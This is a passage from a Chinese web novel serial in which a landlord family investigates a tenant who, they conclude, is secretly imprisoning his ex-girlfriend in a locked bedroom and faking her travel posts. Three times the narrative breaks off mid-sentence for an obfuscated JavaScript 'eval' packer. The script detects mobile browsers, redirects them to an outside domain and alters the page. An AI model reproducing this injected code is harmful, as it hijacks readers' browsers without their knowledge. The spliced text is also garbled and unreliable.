他立即看向安月素,眼睛睁得大大的,但似乎缺少对视的勇气,很快又闪烁着垂下视线。 他的语气礼貌又怯懦:“对不起,我现在……不太方便让你们进来。” 安月素点点头,会意:“没事,那我们一会儿再来。” 她说完就要走。 “那个……请等一下!” 外卖员立即叫住她们,颇有些着急:“那个敲墙的声音,我会解决!其实是我爸,他瘫痪,性格古怪,他怪我不带他出门,一个人在屋里憋得慌,所以总是敲墙发泄,您放心,我之后肯定会说他,让他别打扰邻居们。” 安月素顿了顿:“哦,那这样的话,事情就解决了,我们就回去了,不打扰您了。” 外卖员点头:“我之后一定亲自上门跟他家道个歉,您慢走。” “好的!打扰了。” * 安月素和安凉走出楼道,在外面小树林等了一会儿,见外卖员走出来后,她们又回去,敲开了楼上的房门。 “您好,我们是这里的房东,方便我们进去一下吗?” 两人进入2楼,房子里只有一个老太太。 从老太太口里,她们得知了一些关于一楼的情况。 * 中午12点。 四人围坐餐桌。 见安月素和安凉表情都不太好,楚雄问:“没进去?” 安月素点头:“死活不让进。” 楚暴给安凉夹了几块红烧肉,见她一直不吃,劝道:“进不去屋也没必要不吃饭啊姐。” 安凉摇头,被他这么一劝,连筷子都放下了,端起水杯喝水。 安月素说道:“你姐刚才闻到了些不太好的味道,所以没胃口。” “啊?什么味儿?” 安凉言简意赅:“屎。” 楚暴:“……” 安月素解释:“那个外卖员有个瘫痪的父亲,当时我们去的时候,他应该是正在处理……” “瘫痪的父亲?”楚雄问。 安月素点点头,将刚才的事讲了一遍,然后补充自己的看法:“那个男人听见家里有敲墙声被投诉时,脸色立马就不对了,瞬间心虚,看上去,这个人心理素质很差,什么都写在了脸上,他和我们说话的过程中,眼神不停闪烁,整个人都透着不安。这个撞墙声一定有问题。” 楚雄猜测:“这小子估计是之前没做过什么坏事。” 安月素接着道:“还有,我和小凉也去了趟2楼,给我们开门的是一位老人,她说一楼是半年前搬进来的,只住着一对父子,父亲叫赵国强,刚瘫痪,儿子叫赵白,说自己是做保险推销员的。他们从不与人接触,就在搬过来时聊过几句。后来她看到那个儿子在送外卖,才知道他不做保险了。” 楚雄突然拍了下桌子:“保险推销员!瘫痪父亲!OK!要素齐全,可以结案了。” 安月素挑眉:“什么?” “骗保啊!儿子做过保险推销员,父亲肯定买了很多保险支持他,现在瘫痪了,儿子拿到一部分保险,尝到了甜头,他肯定要接着骗保啊!拿到最大头的!” 楚暴摸着下巴:“有点道理。” 楚雄:“不然呢?还能有什么命案啊?不可能这个瘫痪父亲是凶手吧。” 安月素问众人:“有没有什么办法,能查到他父亲身上有什么保险?” 楚雄道:“几个大保险公司的官网上可以用身份证查到保单信息,只是不知道那个儿子之前是在哪家公司上班的。” 众人沉默下来。 安月素道:“不行,这么胡乱猜测总不是办法,还是要找机会进他家里看看。楚暴,你再去盯,什么时候那个人又回来了,我和你姐再去一趟。” “盯着倒是没问题!不过,没有理由硬闯吗?” 安月素笑了笑:“我们是房东,担心房子受损,想要进去看看,很合理。” 楚雄犹豫道:“可是老婆,租房合同上说,租户有权随意处理房子,房东无权查看或干涉。” 楚暴瞪大眼睛:“这是什么破条款?!” 楚雄无奈摊摊手。 安月素微笑:“是无权,但如果我带着礼物上门,他也不好意思拒绝,我们只是需要一个理由让进入变得合理化,不让他怀疑我们别有目的而已。” * 下午五点,外卖员又回了家。 安月素和安凉带着一架电动轮椅,再次敲响了101的门。 这次,两人带些礼物上门,终于进了屋子。 “轮椅得挺多钱吧,这个真不能收,太贵了。” “不贵!我们家武馆里有人腿断了,给人家买轮椅的时候刚好想到你,收下吧,你父亲出门也方便。”安月素摆摆手,“还没问您贵姓?” 外卖员请两人坐到沙发上,给她们倒了两杯水,也跟着坐下:“免贵姓赵,赵白,我父亲叫赵国强。” 赵白盛情难却:“不好意思啊安姨,给你们家添麻烦了,我中午买了点儿东西,亲自上门,和一单元102的邻居道歉了,之后也教训了我爸,他保证不会再敲墙了。” 安月素面带笑容:“那就好,邻居之间有问题解决就好……那个,方不方便我们进去看看,如果有损坏的话,我们也好修理。” “这个……”赵白不好意思地笑了笑,“安姨,那边屋子有些乱,不太好意思让你们进去。” 安月素扫了眼他身后——主卧和次卧都关着门。 “这里就您和您父亲两人住吗?” 赵白低头扣手,叹气道:“没错,我妈去世了,我是独生子。” 安月素:“那真是辛苦。” 赵白苦笑。 “听您说,您是半年前租下的这里?” “没错,当时我母亲去世,我父亲又瘫痪,为了在时间上方便照顾我父亲,所以打算做外卖员。我家是平水镇的,那里没什么外卖,我干脆就把房子卖了,到这里租了房。” “外卖员确实时间上比较自由,”安月素喝了口水,随口问,“那您以前是做什么工作的?” “是做保险推销员的,平水镇上有一个信莱保险,我刚毕业就进那里了,当时我妈也卧病在床,做了不到一年,我妈去世了,紧跟着我爸也瘫痪了,然后我就辞了职,搬过来这边。” 安月素感慨:“这么说你才刚毕业,竟然就接连遇上这种事。” 这时,安凉突然道:“我可以用一下卫生间吗。” * 安凉去上厕所的间隙,客厅里一直保持着诡异的沉默。 但察觉到这点异常的只有安月素,赵白整个人就像被其他事牵住了心魂。 很快,安凉回来了。 她坐回沙发上,好奇问道:“你们浴缸里有一个充气的东西,那是新型浴缸吗?看起来不错,我也想买一个。” “哦,那是给瘫痪老人泡澡用的。我爸喜欢泡澡,听人说这种用起来舒服,所以我特意在网上买了一个。” 安月素赞赏地看着他:“你对你父亲真是尽心尽力。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977583|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵白:“以孝为先嘛,我妈一直这么教育我的。” 既然提到赵国强,安月素顺势道:“我们还没拜访您父亲呢,他是住在这个房间吗?” 安月素指着主卧问。 赵白站起来,连忙道:“不是不是,他是住在靠门这个房间。” 他神色自然地引着两人走过去:“他之前是住在主卧的,这不是打扰到邻居了,所以中午回来,给他搬到了这边。” 房门被打开,一个非常瘦弱的老人躺在床上。 听到声音后,老人像是锈住的机器一样,慢悠悠转过来,嘴半张着,无声轻喘着气。 但和萎缩的身体不同的是,他的眼神看起来十分犀利。 安月素原本对生病的老人有下意识的同情,但那双三角眼看过来的视线,那种不舒适的感觉压住了那份同情。 安月素找了个由头让安凉到客厅,自己一边和老人打招呼,一边隐秘地观察着房间。 赵国强看到有人来,乐了起来,嘴巴要说话,但却只能发出听不懂的气流声。 赵白拿起手帕,在他嘴角擦了两下:“我爸是右侧偏瘫伴随失语,有点儿严重,现在一年了也还没恢复。” 赵国强给安月素的感觉很不舒服,既然人已经见到了,她简单聊了几句就起身告别。 * 从101出来后,母女俩直接回家。 楚雄已经做好晚饭。 一家人围坐餐桌,边吃饭边讨论。 安月素:“赵国强看起来不像好人,哪怕偏瘫了,眼神还不安分,所以我没让小凉多待,赶紧走了。” 安凉冷不丁补充一句:“赵白家里有味儿。” 此话一出,吃得香喷喷的几人同时停下动作,面无表情地看向安凉。 安凉有些不自在,瘫着脸又补充道:“血腥味。” 哦…… 父子俩:还好不是奇怪的味道。 安月素倒是很在意这句话:“哪里有血腥味?是主卧吗?” 安凉点头:“是。” 楚暴:“妈你也闻到了?” 安月素摇头:“我没闻到,但我能察觉到主卧那个方向有些不对劲。小凉上厕所时,赵白在沙发上简直是坐立难安,目光总是往那边暼。所以我想,主卧里面一定有问题。” 楚雄问:“主卧是谁住?” 安月素道:“拒赵白说,赵国强之前一直住的主卧,今天中午刚给他搬到靠门这边的客卧。” 楚暴猜测:“难道是赵国强受了伤?姐,你闻到赵国强身上有伤口吗?” 安凉摇头:“如果伤口处理得好,就算有我也闻不出来。” 这时,楚雄突然想起一件事:“对了,我忘记和你们说了,我到各大保险公司官网上查了查,在信莱保险公司查到了赵国强的投保信息,因为没有赵国强的身份证号,具体信息看不到,但能知道,他投了很多份保险,受益人肯定是赵白。” 楚雄思索道:“但如果赵白想要杀父骗保,他就算是真的在虐待赵国强,应该也不会傻到,近期在赵国强身上留下被殴打的痕迹,这样的话,就算赵国强“意外死亡”了,也很容易被警察怀疑。” 他接着道:“所以现在有两种可能,第一,赵白一直虐待殴打赵国强,四天后,下手重了把他打死了。第二,赵白骗保。可是,这又不能解释主卧的血,如果是普通受伤的血,他不至于那么紧张。并且,赵国强敲了几个月的墙也很奇怪。” 楚暴:“我有一个猜测,其实被虐待殴打的人不是赵国强,而是赵白,赵国强偏瘫后性格古怪,一直在伤害赵白,赵白始终忍让,但对他怀恨在心,四天后,终于忍不住杀了他。至于敲墙声很好理解,很多老人都会有这种古怪的行为,根本不是在求助。” 楚雄:“那为什么他对主卧那么紧张?” 楚暴摊手:“可能是他觉得自己被瘫痪的人殴打没有面子吧?” 楚雄见安月素一直没说话,便问她的想法。 谁知安月素语出惊人:“我怀疑101里,还有其他人。” 8. 2单元101(4) 三人:“!!!” 安月素自顾自说道:“赵白说,赵国强是中午刚搬进客卧的,但是我发现一个很大的漏洞。赵国强的房间里,所有生活用品的摆放都杂乱有序,一看就是生活了很久,不像是刚搬过去的样子。所以,赵白在撒谎,赵国强从来没有住过主卧。” 楚暴:“那是赵白在撞墙?” “瘸子登天。”安凉看他一眼,“不可能。” “没错,”安月素说,“赵白白天送外卖,根本没有时间。而且他当时听到撞墙声时,明显是意外又愤怒。这说明撞墙声确实在他意料之外,但他知道这声音是怎么回事。从他愤怒时的表情看,他对这个撞墙的人一定有绝对的掌控。所以我猜,101里的主卧……有人被囚禁在里面。敲墙声是7月份开始的,这个人已经被囚禁好几个月了。” 楚暴摸出恶鬼刀,把玩起来:“事情的走向突然可怕了啊。” 安月素点头:“看来我们得查查这父子俩的人际关系了。” 众人继续吃饭,但谁都没了刚才的胃口,吃得有些心不在焉。 《第二天》 凌晨1:30。 楚暴从梦中醒来,到客厅接水喝,猛地被一个黑影子吓一跳。 他刚要发动本能攻击,就听到黑影子发出了他老爸的声音。 “别怕!是爸爸!” 楚暴:“……爸?你这是要干嘛?” 楚雄走到玄关穿鞋,说:“我睡不着,我觉得今晚是个好时机!打算偷溜进101找点儿线索!” “溜进去?!” “对,按赵白早上出门的时间看,现在他应该在睡觉。” 楚雄说完就要往外走。 楚暴赶紧拦住他:“等等等等,我妈知道这件事吗?” 楚雄打开门:“你妈在睡觉,我就没叫醒她,不说了,我去了。” 楚暴错愕地看着门关上,站在原地挠挠头,又到沙发上坐下。 犹豫了一会儿后,他还是起身,叫醒了睡觉的两人。 安月素没好气地抱着胸:“他去多久了?!” 楚暴看了看同样脸色不对的安凉,如实相告:“有八九分钟了。” 这时间,估计已经进去了。 安月素长叹一声,坐到沙发上揉着太阳穴:“101里有监控,赵国强行动不便后,赵白有每天查看监控的习惯。你们这个爸爸,真是太不让人省心了!” * 楚雄擅长轻功。 以前和安月素谈恋爱时,他就经常用轻功溜进安月素家的院子里,和她约会。 这种偷鸡摸狗的事他熟门熟路! 用特制的工具轻轻将门锁打开后,楚雄先趴着门缝里听了一会儿动静,然后才将门缝开大一些,闪身溜了进去。 房间里静悄悄的。 楚雄往前走了两步,突然觉得有些不对劲儿,他往左上方看了一眼,果然看到一个监控摄像头。 楚雄默默在心里骂了一句,想要立即走出屋子。 脚下的位置还在监控盲区,现在返回还来得及。 但是在要转身时,他又反悔了。 现在回头,这一趟不就白来了。 来都来了,没有点儿收获,这个门更是白撬了! 楚雄心里这样想着,再次将自己上上下下检查一番,确定没有能暴露身份的地方后,他将身子弓得更深,猥琐轻巧地前进。 要想被别人当成贼,首先自己就要相信自己就是个贼! 这是装贼最基本原则,楚雄绝不允许在这种基本问题上犯错误。 楚家人各有各的本事,在比武擂台上,楚雄的本事是厉害的轻功,在生活赛道上,楚雄还有一个让人惊叹的本事——演技! 演员们强调演戏要真听真看真感受,楚雄的层次更高,他直接变成这个角色。 例如现在,楚雄看见个抽屉就心痒痒,愣是翻遍了电视柜的所有抽屉,又将茶几上的零钱盒掏空。 在见到墙边的大型储物柜时,黑暗中的两只眼珠子更是亮了几个度! 最后,这位娴熟的小偷将一条金项链和139块3毛钱揣进兜里,这一切仅仅花费了他3分钟而已。 楚·贼·雄当然没忘记正经事。 他先走到赵国强的门外,刚想开门,就听到里面传出一阵不可描述的声音。 楚雄大惊! 贴到门上再细听,才知道里面是在看视频。 偏瘫了还有这兴致!精力真旺盛! 楚雄吐槽着走到主卧门前,轻轻扭动主卧的门把手,没拧动,用铁丝摆弄一会儿后,还是没打开,索性放弃。 他又来到次卧,没想到真的在里面看到了熟睡的赵白。 赵白果然住在次卧! 确定赵白熟睡后,他轻手轻脚地在房间内翻找起来。 这个房间收获颇丰,不仅收获了几千块,还获得了很重要的线索。 * 楚雄回去后,和家人们分享自己的成果:“有一点很奇怪,赵白有两个手机。” 楚暴挑眉:“这有什么可奇怪的?现在很多人都有两部手机,一个工作用,一个私用。” “不,奇怪的是,有一部手机是女式的!”楚雄仍然穿着夜行衣,很是得意,“这部手机粉粉嫩嫩的,一定是女生用的手机!我观察过了,这两部手机的左上角,也就是手握住的地方,都有一些指甲划痕,这是使用习惯。 那部粉色手机上的划痕更淡更新,另一部重一些并且也有一些陈旧划痕,这说明这两个手机现在都是同一个人在使用,只不用划痕较浅的那部用的时间更短些,这个人就是赵白,至于这部手机是他捡的还是怎么搞来的,那就不得而知了。” 楚暴问:“手机你没偷回来?” 楚雄摇头:“两部手机都在赵白手边,我要拿走难免会惊动他。” 安月素问:“主卧呢?” 提到主卧,楚雄顿时泄了气:“主卧被锁上了,我没找到钥匙。那是一把新样式的门锁,我试了一会儿,没打开。” 安月素点头:“主卧果然有秘密。” “没错。”楚雄道,“我趴到主卧上听了听,里面好像有细碎的声响,应该是有人!” 尽管几人已经对此有所怀疑,但确定后,还是有些心惊。 楚暴拍拍楚雄的肩膀:“可以啊老爸,收获挺多,可以将功赎罪了!” “赎罪?”楚雄不解。 安月素严肃道:“你在行动之前为什么不和我们大家商量?” 楚雄当即变得委屈巴巴:“我错了,我当时越想越上头,但看你们在睡觉,所以就没叫你们。” 安月素闭了闭眼:“还好这次有惊无险,不然去警察局捞你是小,搞不好会打草惊蛇。” 楚雄认错态度良好:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977584|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保证,以后绝不擅自行动,不过这次我至少知道,被囚禁的人是一个女性。” * 早上5:00。 几人练完功回来,就一直留意着小区门口的动静——没有警笛声,暂时安全! 楚雄不在意:“放心吧,赵白心里有鬼,不会为那点儿钱报警的。” 安月素问她:“钱你怎么处置的?” “昨晚上就找了个途径捐出去了。” 楚暴噗嗤一笑:“当代大侠!” 安月素没和他们胡扯,用饭盒装了些包好的饺子,送到101。 这个时间点赵白正好在家给赵国强喂饭。 “小赵,你上次说你家以前住在平水镇是吗?” 赵白:“对安姨,您有什么事吗?” “是这样,我有一个亲戚打算在那里住一段时间,所以想问问你有没有好的小区推荐一下。” “这个……我真是不太了解。” 安月素:“诶?对了?你家以前住的小区叫什么?怎么样?” 赵白连忙摆手:“我家是山水城小区,又老又破,交通也不方便,特别不好。” 安月素叹口气:“那就没办法了,还是让他自己到那再看看吧。” 安月素离开时,赵白刚好将手机拿出来摆弄,她注意到,赵白在看手机时,大拇指在手机壳上扣划。 * 安月素拿到小区名称后,几人立即动身,驱车前往平水镇。 到达平水镇后,他们兵分两路。 楚雄和楚暴到山水城小区。 安月素和安凉则前往信莱保险。 楚雄一下到小区,就找到几个老人询问赵白家的住址,得到确切门号后,他带着楚暴敲响了赵白邻居的房门。 “您好,我们是警察。”楚雄自信地中学饭卡在这位老眼昏花的老奶奶面前一闪而过,顺利带着楚暴走了进去。 “赵国强啊!”老奶奶给两人倒好茶水后,坐在沙发上眼睛发亮道,“我就知道他早晚会惹上警察的!” 楚雄倾身问:“为什么这么说?” “那家伙不是什么好东西!从年轻时候就是个混混!没钱了就去工地上做工,手里有点儿钱就买酒找小姐,一分钱都不给老婆孩子,可怜小娟儿了,自己带着孩子过,赵国强根本不管孩子,一回来就打人!” 楚暴拿着个笔记本,假模假样地做记录:“赵国强家暴?” “是啊!”老太太眼睛瞪得溜圆,“我们这的街坊邻居只要一听见小娟儿的哭喊声,就知道肯定是赵国强那小子又回来了,哎呦,打得那个狠呐!好几次都跟要活不过来了似的,有时候连赵白那孩子也一起打,可能也是顾及着孩子是他亲生的,没下死手。“ “打得这么狠。”楚暴八卦,“赵白的老婆不离婚吗?” “有孩子呦!”老太太提高嗓门,“再怎么说也是那么多年的夫妻,还有个孩子,我们也是劝小娟,为了孩子能忍还是忍一忍吧!少年夫妻老来伴,小娟要是离了婚,带个孩子再难找了,老了怎么办呢。这不,前些年,小娟脑溢血躺床上,赵国强不就在家里照顾她吗?” 楚暴不相信:“赵国强愿意照顾他老婆?” “当然了!一直到小娟儿没了,赵国强一直伺候着呢!” 老太太说完,兴冲冲地问楚雄:“警察同志,赵国强犯什么事了?是不是又偷小姐了?” 9. 2单元101(5) “照顾个屁!你们别听隔壁老李太太瞎说,她和她老头都是下辈子投畜牲胎的人,见不得别人好!赵国强确实是在小娟儿生病的时候不出去玩儿了,但那是他年龄大了,没工地愿意要他了,他没钱出去挥霍,赵白要给小娟儿买药,不肯给他钱,他当然只能在家里待着了。呵!还指望他照顾人?他都得让人照顾,天天喝大酒,还爱泡澡,好几次差点儿在里面淹死!赵白总得分心看他。还有,小娟儿都瘫痪了,他也是成天打她,骂她,小娟儿当时都什么样子了,叫都叫不出声了,就只能听见赵国强的骂声。” 楚雄问:“都骂些什么?” “小娟都瘫痪了,他还能骂什么?无非就是什么,没用的东西、拖累人、看着恶心。之前打骂都是背着赵白,后来赵白在家的时候他也这样,赵白没少因为这个事情跟他吵架。” “和赵国强来往亲密的女人多吗?” “哼,他整天钻鸡窝里,女人确实挺多,不过他没钱赚后,没一个搭理他的。” 楚雄:“赵白这个人怎么样?” “赵白真是个好孩子,和赵国强那个畜生完全不一样。孝顺他妈!特别听他妈话,他妈瘫痪后,擦屎擦尿都是他干!懂礼貌!我们这帮邻居都是看着他长大的,都很喜欢他。” 楚雄:“那赵白和他父亲的关系怎么样?” “这孩子和他妈妈感情更好,之前在他爸打他妈时候也总帮着他妈还手,一看见他爸,那眼神就跟见仇人一样。不过听说赵国强瘫痪了之后,赵白也尽心尽力地伺候着,这孩子就是太善良了,要我说还照顾那畜生干什么?送养老院得了。” “赵白有女朋友吗?”楚雄又问。 “没有女朋友,赵白刚毕业他妈就瘫床上了,伺候走他妈,他爸又出了事儿,哪有时间谈恋爱啊。哎,小娟儿之前总跟我们念叨是自己拖累了赵白,她生病的时候总是说,想要赵白找个好媳妇,生个孩子,为赵家传宗接代。她最在乎传宗接代这件事了,赵白总是抱怨听得耳朵都起茧子了。可惜啊,走这么早,什么没看到。” * “赵白当时在我们这儿的时候,确实有一个女朋友。” 安月素问:“他女朋友叫什么名字啊?” “王惠丽。” 短发女孩说完,问安凉:“姐妹,你跟赵白处对象还管他前任干嘛?” 安凉面无表情,安月素替她回道:“我们想要多了解一下他的为人,他说自己没有谈过恋爱,今天正好来这边办事情,所以到他以前工作地点问一下。” “他撒谎,他在我们这有女朋友的!” 短发女孩看了看安凉,欲言又止道:“他前女友也是我们公司的,当初赵白辞职后,她也跟着走了,总共也没待多久,我跟她也不熟。记得叫王慧丽,名字有点儿土,但人长得可洋气了,我感觉比好些演员还好看呢,不过姐妹,你长得更好看,我真不是故意安慰你,王慧丽虽然漂亮但跟你就没法比了,哎,说真的,你们跟赵白真是白瞎了,赵白没啥大本事,人还唯唯诺诺的。” 安凉问:“他们为什么分手?” 女孩儿摇头:“这我就不知道了,他们走的时候还没分呢,我是前段时间看到王慧丽的朋友圈才知道他们分手的,她在朋友圈里说,要出国散散心。” 安月素问:“前段时间,时间很近吗?” “对,就两个月前的事情。”女孩儿摇头叹息,“没想到赵白这么快就开始相亲了。” 安月素问她:“小姑娘,你能给我们看一看他前女友的朋友圈吗?” 女孩儿顿时皱起眉,怀疑道:“你们到底是来干嘛的?要看这个干什么?” 安月素不好意思地笑道:“小姑娘,跟你说实话吧,其实,我心里已经认定赵白这个女婿了,但我就这么一个女儿,想最后再把把关,多方位了解一下他和前女友的相处情况,也是为了更放心。” 女孩儿看了看安凉,难以理解地嘀咕:“这赵白到底有什么魅力啊……不会是中彩票了吧……” 她想了想,最后说道:“那这样吧,我把她的微信号告诉你们,你们自己加她。” * 回去的路上,安月素负责开车。 安凉坐在副驾驶上,用自己的微信小号添加王慧丽的微信。 王慧丽很有可能就是那部粉色手机的主人,那么真正掌控这个微信号的人一定是赵白。 安凉在备注里装作自己是不知道王慧丽离职的客户,来询问保险。 点击申请后,她已经做好了不会被同意的准备,但没想到的是,王慧丽的微信竟然是自动添加。 她的微信是全开放的,安凉从最近的朋友圈一直往前翻看,很快就总结出时间线。 她对安月素说:“今年的三月份,也就是七个月前,她和赵白前后脚入职的保险公司,4月18日,两个人正式交往。接下来的一个半月里,王慧丽发的朋友圈都很幸福。开始转变是在6月底。从这时候起,她的朋友圈经常会发很多奇奇怪怪的文案,不是愤怒,就是伤感,还发了很多要分手的话。” 安月素:“赵白是在5月中旬从保险公司离职,到咱们这儿租下101的。王慧丽是6月初的时候离职,跟着赵白搬到了这边住。也就是说,王慧丽开始有变化,是在她过来的一个月后。” 安凉点点头,又突然道:“就是不知道王慧丽搬过来后,是住在赵白租的房子里,还是住在其他地方?” “回去之后,我们可以找楼里其他人,问问有没有见过王慧丽的。” 安凉“嗯”了一声,继续翻看朋友圈。 很快,她又看到了新线索:“7月9号的时候,王慧丽发了确定分手的朋友圈,说是要出国散心。” 安月素:“7月9号?这个时间正好和撞墙开始的时间对上了。” 安凉点头:“从那之后,她的朋友圈就都是一些各国的风景图和自拍。基本每隔几天就会发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977585|161410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条,最新的是昨天晚上,地点……是在一个战乱国家。” “战乱国家?” “没错,从一个月前,她朋友圈的风格开始从普通的旅游变成了探险,说是玩腻了,想要追求刺激。” 安月素手握着方向盘,看着前面的道路叹气:“我估计王慧丽这次,应该回不来了吧。” 安凉也跟着叹口气:“鞭炮两头点。” 响(想)到一块儿了。 * “你说的这个小姑娘我还真见过,长得怪漂亮的,我有印象。有一段时间经常来,我有一次下楼的时候,正好撞上她和小赵一起出门,两人腻歪在一起,感情可好了。我前段日子还合计来着,这对儿小情侣约莫着是黄了!好久没见到小姑娘了。现在这些小年轻啊,都是这样,谈一个黄一个,跟我那孙子一样,没个定性!” 安月素问:“那个女孩子晚上在这里住吗?” “应该不住吧,反正我好几次见到她大晚上的从楼里出去。” “什么时候开始不来了?” “哎呀,具体时候我记不住了,估摸有好几个月了。” * 下午5:00。 四人又齐聚在餐桌上。 楚雄先贡献线索:“我们调查到,赵国强对赵白母亲有很严重的家暴行为,有时候也会打赵白。并且他对婚姻不忠,不是一个好丈夫也不是一个好父亲,赵白一直对赵国强心怀怨恨。赵白一直很孤僻,几乎没有什么朋友,我们没发现他有什么交往过密的女性。但赵国强身边的女人很多,被囚禁的人很可能是赵国强的某一个女人。好了,就这些了,你们调查的呢?” 安月素和安凉没有说什么,而是先将一些图片发到家庭群里。 安月素说:“楚暴,你找人识别一下这些照片是否有p过的痕迹。” 楚暴翻看着照片,问:“这是什么?” 安月素解释:“信莱保险的前台说……” 楚暴听完,立马跳出椅子:“我这就去找人鉴定。” 不一会儿,楚暴坐回来,看着大家道:“那些带人像的照片不仅全是P过的,就连旅游的风景照都是网上一些小众博主的网图,还有一些找不到出处的,估计也是找旅游博主买的私图。” 安月素放下筷子:“综合所有线索,王慧丽就是那个从七月份被囚禁到现在的人。” 楚暴:“赵白已经决定,让王慧丽‘死’在这次旅游的地点了。” 楚雄疑惑:“王慧丽总该有亲戚朋友吧,她一失踪,亲戚朋友一报警,很容易就能知道王慧丽根本没出过国。” 楚暴摇头:“他这次编造的战乱国家基本上是有去无回的,前段时间,已经有几个大博主在那里出了事,就算王慧丽突然失踪,她家人应该也不会觉得奇怪,只以为她和那些博主一样出了事。” 安月素提议:“明天我们再去一趟王慧丽家里吧,我们对王慧丽这个人还一无所知。” 10. 2单元101(6) 《第三天》 上午7:00。 安凉将写好地址的纸条递给楚雄。 “我只能从王慧丽的朋友圈上知道她老家在一元镇王家村,具体是哪一家你们得到那里现问。” 楚雄接过纸条揣进兜里:“放心吧,小菜一碟。” 楚雄开车带着楚暴直奔王家村。 王家村人口不多,两人很快就找到了王慧丽的父母家。 这次,楚雄为了方便依然假装警察。 但很快,他们就发现这是多此一举。 王慧丽的父母根本不把女儿的隐私当成一回事,好像不论对方是不是真的警察,对他们要说的话都没有丝毫影响。 他们像倒垃圾一样向外吐着对王慧丽的咒骂,斥责她不懂事,好好的工作辞掉,让小儿子的学费泡了汤。 王慧丽的父亲操着一口方言大骂:“这贱货可有钱!你们没看她那朋友圈!一天到晚出国旅游!那花的都是什么钱?!那是小亮的学费!呸!死东西!遭报应了!不知道让谁串掇,去那么乱的地方,看着吧!早晚死外面!死东西!不忠不孝!” 王慧丽的母亲伤心欲绝地窝成一团,泣不成声:“她太自私了!一点儿不懂事!真是白养了!早知道拿这些钱干什么不好?!从小亮身上省下多少钱去养这赔钱玩意儿!一分没赚回来啊!一分没赚回来!哎呦!我这是什么命啊!怎么养了这么个自私玩意儿啊!” 楚雄听了一会儿,实在听不下去,皱着眉问他们:“你们知道王慧丽在县里的住址吗?” 楚雄一拿到地址,立马走出那个乌烟瘴气的家。 他将得到的线索和地址发到家庭群里,气道:“真想骂他几句出出气!” 楚暴安抚他:“行了爸,这种人不知道有多少,你骂得过来吗?!就算骂了她一个人又有什么用?何况你看他们那个样子,这种重男轻女的思想在她们的脑子里已经不知道被加固过多少次了,这辈子都别指望他们能悔过了!” 楚雄仍然觉得气不过:“难道只能等着社会的进步将他们清除吗?不能由我这个正义使者亲自上手除掉吗?” 楚暴:“……爸,冷静!咱们的当务之急是清赵白。” * 上午11:00。 在家里等待已久的安月素一看到家庭群里的新发地址,就立即叫上安凉动身。 两人来到地方后,才知道王慧丽的房子早已经退租了。 她们打听出房东的电话,假装要租房子。 房东一听说他们就在楼下等着,很快就开车过来了。 “我最近比较忙,上个租户退租后我一直没来得及收拾,你们别介意,要是你决定租了,我马上就找保洁阿姨给你们收拾得干干净净!” 房东一边说着,一边用钥匙开了门,看到屋里场景后,惊讶地说道:“哎呦,那个小姑娘留下这么多东西啊。” 房东挠挠头,倒不是生气租客没打扫好房间就退房。 当房东这么多年,什么样的退房场景没见过。眼前的场景不仅称不上乱,反而整齐干净,布置得比租出去时温馨漂亮多了。 房东与其说是生气,还不如说是喜悦多一些。 他转头问两人:“你们看看房子行不行?要是行的话,这些东西你们愿意留就留,不愿留的告诉我一声,我就都给搬走了。” 安月素一边环视房间一边问:“这些东西都是上一个租客留下来的?” 房东点头:“对。” “这些看起来都是她亲手布置的,她确定都不要了吗?” “大妹子你放心吧,那小姑娘说是受了情伤,退租都没当面退,就在微信上和我说了这个事,还给我补了一个月的租金,说是要到世界各地旅游。”说到这,房东感叹道,“你说说,这年轻多好,再瞅瞅咱们这个年纪,就是有时间有钱,也没那劲头了。” 安月素闲聊:“听起来伤得挺深呀,难道是男朋友出轨了?” “估摸着是。”房东回忆了一下,立马揪起脸:“那小子长得可不咋好看,我觉着是配不上小王。咋就这么不知道珍惜呢!之前见过几回,看着对小王挺好的啊,没合计到最后,倒让小王受了情伤,真是世事难料啊。” 听着身后两人的聊天,安凉憋着一口气走进卫生间。 从进到这个屋子开始,安凉就一直能闻到从卫生间里传出的臭味。 她屏着呼吸打开卫生间的门,果然看到地面上有一个洗衣盆,里面应该是用肥皂水泡的脏衣服。 由于泡的时间过久,水已经发臭了。 房东和安月素闻到味道,捂着鼻子走过来。 “呕!” 房东一走进,当即就呕了出来。 他一边干呕,一边快速将这盆臭水倒掉,然后把衣服扔进垃圾桶,套了好几层垃圾袋,每一层的袋口都系得紧紧的。 卫生间里正好有空气清新剂,他立即拿起来,不要命地往空气中喷。 一连喷了几十下,卫生间里臭的危机是解决了,但现在却呛得人没法待。 安凉早就到客厅避难了,只有安月素一个人站在卫生间门口。 她一边咳嗽,一边用手挥开这些呛死人不偿命的气体。 